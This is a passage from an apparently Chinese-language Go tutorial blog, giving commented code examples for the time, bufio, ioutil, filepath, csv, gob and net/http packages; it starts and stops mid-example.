15:22:12"</span></span><br><span class="line">timeObj1, _ := time.Parse(formatTime, timStr)</span><br><span class="line">timeObj2,_ := time.ParseInLocation(formatTime,timStr,time.Local)</span><br><span class="line">fmt.Println(<span class="string">"parse解析字符串时间"</span>,timeObj1)</span><br><span class="line">fmt.Println(<span class="string">"parse解析字符串时间"</span>,timeObj2)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取当天0点时间戳</span></span><br><span class="line"><span class="comment">// 获取前一天0点时间戳</span></span><br><span class="line">todayTime := time.Date(time.Now().Year(),time.Now().Month(),time.Now().Day(),<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>,time.Local)</span><br><span class="line">fmt.Println(<span class="string">"今天0点时间戳："</span>,todayTime.Unix())</span><br><span class="line">yestaday := todayTime.AddDate(<span class="number">0</span>,<span class="number">0</span>,<span class="number">-1</span>)</span><br><span class="line">fmt.Println(<span class="string">"昨天0点时间戳: "</span>,yestaday.Unix())</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> {</span><br><span class="line">myTime()</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="bufio"><a href="#bufio" class="headerlink" title="bufio"></a>bufio</h3><p>带缓冲的读写。包括：reader | writer | scanner | ioutil</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">"bufio"</span></span><br><span class="line"><span class="string">"fmt"</span></span><br><span class="line"><span class="string">"os"</span></span><br><span class="line"><span class="string">"strconv"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">myScannerInt</span><span class="params">()</span> <span class="params">(<span class="keyword">int</span>, error)</span></span> {</span><br><span class="line">scanner := bufio.NewScanner(os.Stdin)</span><br><span class="line"><span class="keyword">if</span> scanner.Scan() {</span><br><span class="line"><span class="keyword">return</span> strconv.Atoi(scanner.Text())</span><br><span class="line">}</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>, scanner.Err()</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// 感觉比reader方便</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">scanerv1</span><span class="params">()</span></span> {</span><br><span class="line"><span class="comment">// 新建Scanner，参数理解为文件指针</span></span><br><span class="line">scanner := bufio.NewScanner(os.Stdin)</span><br><span class="line"><span class="comment">// 判断是否读取结束，每次读取一行，结束为false</span></span><br><span class="line"><span class="comment">//scanner.Scan()</span></span><br><span class="line"><span class="comment">// 转化为字符串</span></span><br><span class="line"><span class="comment">//fmt.Println(scanner.Text())</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 手动指定scanner缓冲区大小</span></span><br><span class="line"><span class="comment">// 初始为2，其会自动扩拓展</span></span><br><span class="line">buf := <span class="built_in">make</span>([]<span class="keyword">byte</span>,<span class="number">2</span>)</span><br><span class="line">scanner.Buffer(buf,bufio.MaxScanTokenSize)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 可以指定函数来将输入拆分为多个token，其中bufio自带四个func</span></span><br><span class="line"><span class="comment">// ScanBytes，按照byte进行拆分</span></span><br><span class="line"><span class="comment">// ScanLines，按照行(“\n”)进行拆分</span></span><br><span class="line"><span class="comment">// ScanRunes，按照utf-8字符进行拆分</span></span><br><span class="line"><span class="comment">// ScanWords，按照单词(” “)进行拆分</span></span><br><span class="line"><span class="comment">// 也可以自己指定func</span></span><br><span class="line">scanner.Split(bufio.ScanWords)</span><br><span class="line"><span class="keyword">for</span> scanner.Scan() {</span><br><span class="line">fmt.Println(scanner.Text())</span><br><span class="line">}</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">myReader</span><span class="params">()</span></span> {</span><br><span class="line">file, err := os.Open(<span class="string">"bufio"</span>)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> {</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">}</span><br><span class="line"><span class="keyword">defer</span> file.Close()</span><br><span class="line"></span><br><span class="line"><span class="comment">// 新建读io(带buffer)</span></span><br><span class="line">reader := bufio.NewReader(file)</span><br><span class="line">content := <span class="built_in">make</span>([]<span class="keyword">byte</span>, <span class="number">3</span>)</span><br><span class="line">n, err := reader.Read(content)</span><br><span class="line">fmt.Println(n, err, <span class="keyword">string</span>(content[:n]))</span><br><span class="line">fmt.Println(reader.ReadByte())</span><br><span class="line"><span class="comment">// 参数指定分隔符</span></span><br><span class="line">fmt.Println(reader.ReadBytes(<span class="string">'\n'</span>))</span><br><span class="line">fmt.Println(reader.ReadString(<span class="string">'\n'</span>))</span><br><span class="line">fmt.Println(reader.ReadString(<span class="string">'\n'</span>))</span><br><span class="line">fmt.Println(reader.ReadString(<span class="string">'\n'</span>))</span><br><span class="line"><span class="comment">// 读取一行</span></span><br><span class="line">fmt.Println(reader.ReadLine())</span><br><span class="line">fmt.Println(reader.ReadLine())</span><br><span class="line">fmt.Println(reader.ReadLine())</span><br><span class="line"><span class="comment">// 流重定向</span></span><br><span class="line">fmt.Println(reader.WriteTo(os.Stdout))</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">myWriter</span><span class="params">()</span></span> {</span><br><span class="line">file, err := os.OpenFile(<span class="string">"bufio"</span>, os.O_APPEND|os.O_CREATE|os.O_WRONLY, os.ModePerm)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> {</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">}</span><br><span class="line"><span class="keyword">defer</span> file.Close()</span><br><span class="line"></span><br><span class="line"><span class="comment">// 带缓冲的写，会写到缓冲区，而不是直接写入文件，可以使用flush将缓冲区的内容写入文件</span></span><br><span class="line">writer := bufio.NewWriter(file)</span><br><span class="line">fmt.Println(writer.WriteString(<span class="string">"123456"</span>))</span><br><span class="line">writer.Flush()</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// ioutil</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">ioUtilev1</span><span class="params">()</span></span> {</span><br><span class="line">file,err := os.Open(<span class="string">"bufio"</span>)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span>{</span><br><span class="line">fmt.Println(err)</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">}</span><br><span class="line"><span class="keyword">defer</span> file.Close()</span><br><span class="line"></span><br><span class="line"><span class="comment">// 读取文件中所有内容</span></span><br><span class="line">fmt.Println(ioutil.ReadAll(file))</span><br><span class="line">fmt.Println()</span><br><span class="line"><span class="comment">// 获取当前目录的所有文件指针，通过遍历访问</span></span><br><span class="line">fileinfos,err := ioutil.ReadDir(<span class="string">"c:\\"</span>)</span><br><span class="line"><span class="keyword">for</span> _,fileinfo := <span class="keyword">range</span> fileinfos{</span><br><span class="line">fmt.Println(fileinfo.Name())</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// 截断文件并写入</span></span><br><span class="line">ioutil.WriteFile(<span class="string">"fmt"</span>,[]<span class="keyword">byte</span>(<span class="string">"123456"</span>),os.ModePerm)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> {</span><br><span class="line"></span><br><span class="line">scanerv1()</span><br><span class="line"><span class="comment">/*num,err:=myScannerInt()</span></span><br><span class="line"><span class="comment">fmt.Println(num,err)</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">num,err=myScannerInt()</span></span><br><span class="line"><span class="comment">fmt.Println(num,err)</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">num,err=myScannerInt()</span></span><br><span class="line"><span class="comment">fmt.Println(num,err)*/</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//myReader()</span></span><br><span class="line"><span class="comment">//myWriter()</span></span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="filepath"><a href="#filepath" class="headerlink" title="filepath"></a>filepath</h3><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">"fmt"</span></span><br><span class="line"><span class="string">"io/ioutil"</span></span><br><span class="line"><span class="string">"os"</span></span><br><span class="line"><span class="string">"path/filepath"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">dirv1</span><span class="params">()</span></span> {</span><br><span class="line">file, err := os.Open(<span class="string">"bufio"</span>)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> {</span><br><span class="line">fmt.Println(err)</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">}</span><br><span class="line"><span class="keyword">defer</span> file.Close()</span><br><span class="line"></span><br><span class="line"><span class="comment">// 查看文件（文件+目录）状态</span></span><br><span class="line">fileInfo, err := file.Stat()</span><br><span class="line">fmt.Println(fileInfo.IsDir())</span><br><span class="line">fmt.Println(fileInfo.Mode())</span><br><span class="line">fmt.Println(fileInfo.Name())</span><br><span class="line">fmt.Println(fileInfo.Size())</span><br><span class="line">fmt.Println(fileInfo.Sys())</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">// filepath处理文件和目录</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">path</span><span class="params">()</span></span> {</span><br><span class="line">path,_ := filepath.Abs(<span class="string">"fmt"</span>)</span><br><span class="line">fmt.Println(path)</span><br><span class="line">fmt.Println(filepath.Base(path))</span><br><span class="line"> fmt.Println(filepath.Dir(path))</span><br><span class="line"> <span class="comment">// 判断后缀</span></span><br><span class="line">fmt.Println(filepath.Ext(path))</span><br><span class="line">fmt.Println(filepath.IsAbs(path))</span><br><span class="line"><span class="comment">// 将文件和其目录分开，存入slice</span></span><br><span class="line">fmt.Println(filepath.Split(path))</span><br><span class="line"><span class="comment">// 默认以":"分割，存入slice</span></span><br><span class="line">fmt.Println(filepath.SplitList(path))</span><br><span class="line"></span><br><span class="line"><span class="comment">// 支持简单通配</span></span><br><span class="line">fmt.Println(filepath.Glob(<span class="string">"./*.go"</span>))</span><br><span class="line"></span><br><span class="line"><span class="comment">// 将path根据前者进行路径匹配，path在前者匹配下则为true（注意只能在当前目录）</span></span><br><span class="line"> <span class="comment">// 即第一个参数必须是第二个参数的父目录</span></span><br><span class="line">fmt.Println(filepath.Match(<span class="string">"G:\\Go\\go_work\\src\\study\\*"</span>,path))</span><br><span class="line"></span><br><span class="line"><span class="comment">// 指定目录进行递归调用</span></span><br><span class="line">filepath.Walk(<span class="string">"."</span>, <span class="function"><span class="keyword">func</span><span class="params">(path <span class="keyword">string</span>, info os.FileInfo, err error)</span> <span class="title">error</span></span> {</span><br><span class="line">fmt.Println(path,info.Name())</span><br><span class="line"><span class="keyword">return</span> <span class="literal">nil</span></span><br><span class="line">})</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> {</span><br><span class="line"><span class="comment">//dirv1()</span></span><br><span class="line">path()</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="csv"><a href="#csv" class="headerlink" title="csv"></a>csv</h3><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">"encoding/csv"</span></span><br><span class="line"><span class="string">"fmt"</span></span><br><span class="line"><span class="string">"io"</span></span><br><span class="line"><span class="string">"os"</span></span><br><span class="line"><span class="string">"strconv"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> Userscsv <span class="keyword">struct</span> {</span><br><span class="line">id <span class="keyword">int</span></span><br><span class="line">name <span class="keyword">string</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">csvwrite</span><span class="params">()</span></span> {</span><br><span class="line">file,err:= os.Create(<span class="string">"csv.csv"</span>)</span><br><span class="line"><span class="keyword">if</span> err!=<span class="literal">nil</span>{</span><br><span class="line">fmt.Println(err)</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">}</span><br><span class="line"><span class="keyword">defer</span> file.Close()</span><br><span class="line"></span><br><span class="line">users := []Userscsv{</span><br><span class="line">{<span class="number">1</span>,<span class="string">"kk"</span>},</span><br><span class="line">{<span class="number">2</span>,<span class="string">"qingyang"</span>},</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// 创建csv writer</span></span><br><span class="line">writer := csv.NewWriter(file)</span><br><span class="line"><span class="keyword">for</span> _,user:= <span class="keyword">range</span> users {</span><br><span class="line"><span class="comment">// 写入，参数传递字符串切片</span></span><br><span class="line">writer.Write([]<span class="keyword">string</span>{strconv.Itoa(user.id), user.name})</span><br><span class="line">}</span><br><span class="line"><span class="comment">// 缓冲区写入</span></span><br><span class="line">writer.Flush()</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">csvreader</span><span class="params">()</span></span> {</span><br><span class="line">file,err := os.Open(<span class="string">"csv.csv"</span>)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span>{</span><br><span class="line">fmt.Println(err)</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">}</span><br><span class="line"><span class="keyword">defer</span> file.Close()</span><br><span class="line"></span><br><span class="line"><span class="comment">// 申请对应结构体变量用于读取csv文件</span></span><br><span class="line"><span class="keyword">var</span> users = []Userscsv{}</span><br><span class="line"><span class="comment">// 创建csv reader</span></span><br><span class="line">reader := csv.NewReader(file)</span><br><span class="line"><span class="keyword">for</span> {</span><br><span class="line"><span class="comment">// 返回一个[]string，index为csv一行的内容</span></span><br><span class="line">line,err := reader.Read()</span><br><span class="line"><span class="comment">// 为EOF停止读取</span></span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span>{</span><br><span class="line"><span class="keyword">if</span> err != io.EOF {</span><br><span class="line">fmt.Println(err)</span><br><span class="line">}</span><br><span class="line"><span class="keyword">break</span></span><br><span class="line">}</span><br><span class="line">id,_:= strconv.Atoi(line[<span class="number">0</span>])</span><br><span class="line">users = <span class="built_in">append</span>(users,Userscsv{</span><br><span class="line">id: id ,</span><br><span class="line">name: line[<span class="number">1</span>],</span><br><span class="line">})</span><br><span class="line">}</span><br><span class="line">fmt.Println(users)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> {</span><br><span class="line">csvwrite()</span><br><span class="line">csvreader()</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="gob"><a href="#gob" class="headerlink" title="gob"></a>gob</h3><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">"encoding/gob"</span></span><br><span class="line"><span class="string">"fmt"</span></span><br><span class="line"><span class="string">"os"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> Users <span class="keyword">struct</span> {</span><br><span class="line">id <span class="keyword">int</span></span><br><span class="line">name <span class="keyword">string</span></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">writegob</span><span class="params">()</span></span> {</span><br><span class="line">users := []Users{</span><br><span class="line">{<span class="number">1</span>, <span class="string">"kk"</span>},</span><br><span class="line">{<span class="number">2</span>, <span class="string">"qingyang"</span>},</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// gob注册，需要使用类型，如此处users为Users类型</span></span><br><span class="line">gob.Register(Users{})</span><br><span class="line">file, err := os.Open(<span class="string">"users.gob"</span>)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> {</span><br><span class="line">fmt.Println(err)</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">}</span><br><span class="line"><span class="keyword">defer</span> file.Close()</span><br><span class="line"></span><br><span class="line"><span class="comment">// 使用file创建一个encoder</span></span><br><span class="line">encoder := gob.NewEncoder(file)</span><br><span class="line"><span class="comment">// 将指定类型数据编码写入</span></span><br><span class="line">encoder.Encode(users)</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">readgob</span><span class="params">()</span></span> {</span><br><span class="line"><span class="comment">// 注册</span></span><br><span class="line">gob.Register(Users{})</span><br><span class="line"><span class="comment">// 打开gob文件</span></span><br><span class="line">file, err := os.Open(<span class="string">"users.gob"</span>)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> {</span><br><span class="line">fmt.Println(err)</span><br><span class="line"><span class="keyword">return</span></span><br><span class="line">}</span><br><span class="line"><span class="keyword">defer</span> file.Close()</span><br><span class="line"></span><br><span class="line"><span class="comment">// 解码</span></span><br><span class="line"><span class="comment">// 申请变量接收，需要与写入时的一致</span></span><br><span class="line"><span class="keyword">var</span> users []Users</span><br><span class="line">decoder := gob.NewDecoder(file)</span><br><span class="line">fmt.Println(decoder.Decode(&users))</span><br><span class="line">fmt.Println(users)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> {</span><br><span class="line"><span class="comment">//writegob()</span></span><br><span class="line">readgob()</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h3 id="http"><a href="#http" class="headerlink" title="http"></a>http</h3><p>go 原生的http库</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">"net/http"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 处理静态资源</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> {</span><br><span class="line">addr := <span class="string">":8888"</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 定义处理器，FileServer用于指定文件存储位置，http.Dir 是类型转换（http封装的string类型）</span></span><br><span class="line"><span class="comment">// url: ./static/www</span></span><br><span class="line"><span class="comment">// http.Handle("/www/", http.FileServer(http.Dir("./static")))</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 表示取消url前缀</span></span><br><span class="line"><span class="comment">// 注意访问路径为localhost:8888/static</span></span><br><span class="line"><span class="comment">// 如果不加StripPrefix则路径为localhost:8888/static/static</span></span><br><span class="line"><span class="comment">// StripPrefix 用于去掉url前缀</span></span><br><span class="line">http.Handle(<span class="string">"/static/"</span>, http.StripPrefix(<span class="string">"/static/"</span>, http.FileServer(http.Dir(<span class="string">"./static"</span>))))</span><br><span class="line">http.ListenAndServe(addr, <span class="literal">nil</span>)</span><br><span class="line">}</span><br></pre></td></tr></table></figure><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line"><span class="string">"fmt"</span></span><br><span class="line"><span class="string">"net/http"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="comment">// 函数名理解为用户请求处理函数</span></span><br><span class="line"><span class="comment">// 参数理解为用户的请求信息</span></span><br><span class="line"><span class="comment">// responseWriter 表示返回给用户的内容</span></span><br><span class="line"><span class="comment">// request表示接收的用户请求数据</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">Home</span><span class="params">(w http.ResponseWriter, r *http.Request)</span></span> {</span><br><span class="line"><span class="comment">// 用户提交的数据 http内容-> go代码转换-> http.Request获取</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line">fmt.Println(<span class="string">"/Home"</span>)</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> Help <span class="keyword">struct</span>{}</span><br><span class="line"></span><br><span class="line"><span class="comment">// 自定义处理器（对象）需要实现ServeHTTP接口</span></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="params">(h *Help)</span> <span class="title">ServeHTTP</span><span class="params">(w http.ResponseWriter, r *http.Request)</span></span> {</span><br><span class="line">w.Write([]<span class="keyword">byte</span>(<span class="string">"hi"</span>))</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> {</span><br><span class="line">addr := <span class="string">":8888"</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// url -> 找处理器函数 -> 调用处理器函数(http包)</span></span><br><span class="line"><span class="comment">// 指定url和处理函数</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 处理器函数实现</span></span><br><span class="line"><span class="comment">// 第一个参数为请求url</span></span><br><span class="line"><span class="comment">// 第二个参数为处理该请求的回调函数</span></span><br><span class="line"><span class="comment">// Handle或者HandleFunc会自动注册到http.DefaultServeMux中</span></span><br><span class="line">http.HandleFunc(<span class="string">"/home"</span>, Home)</span><br><span class="line"></span><br><span class="line"><span 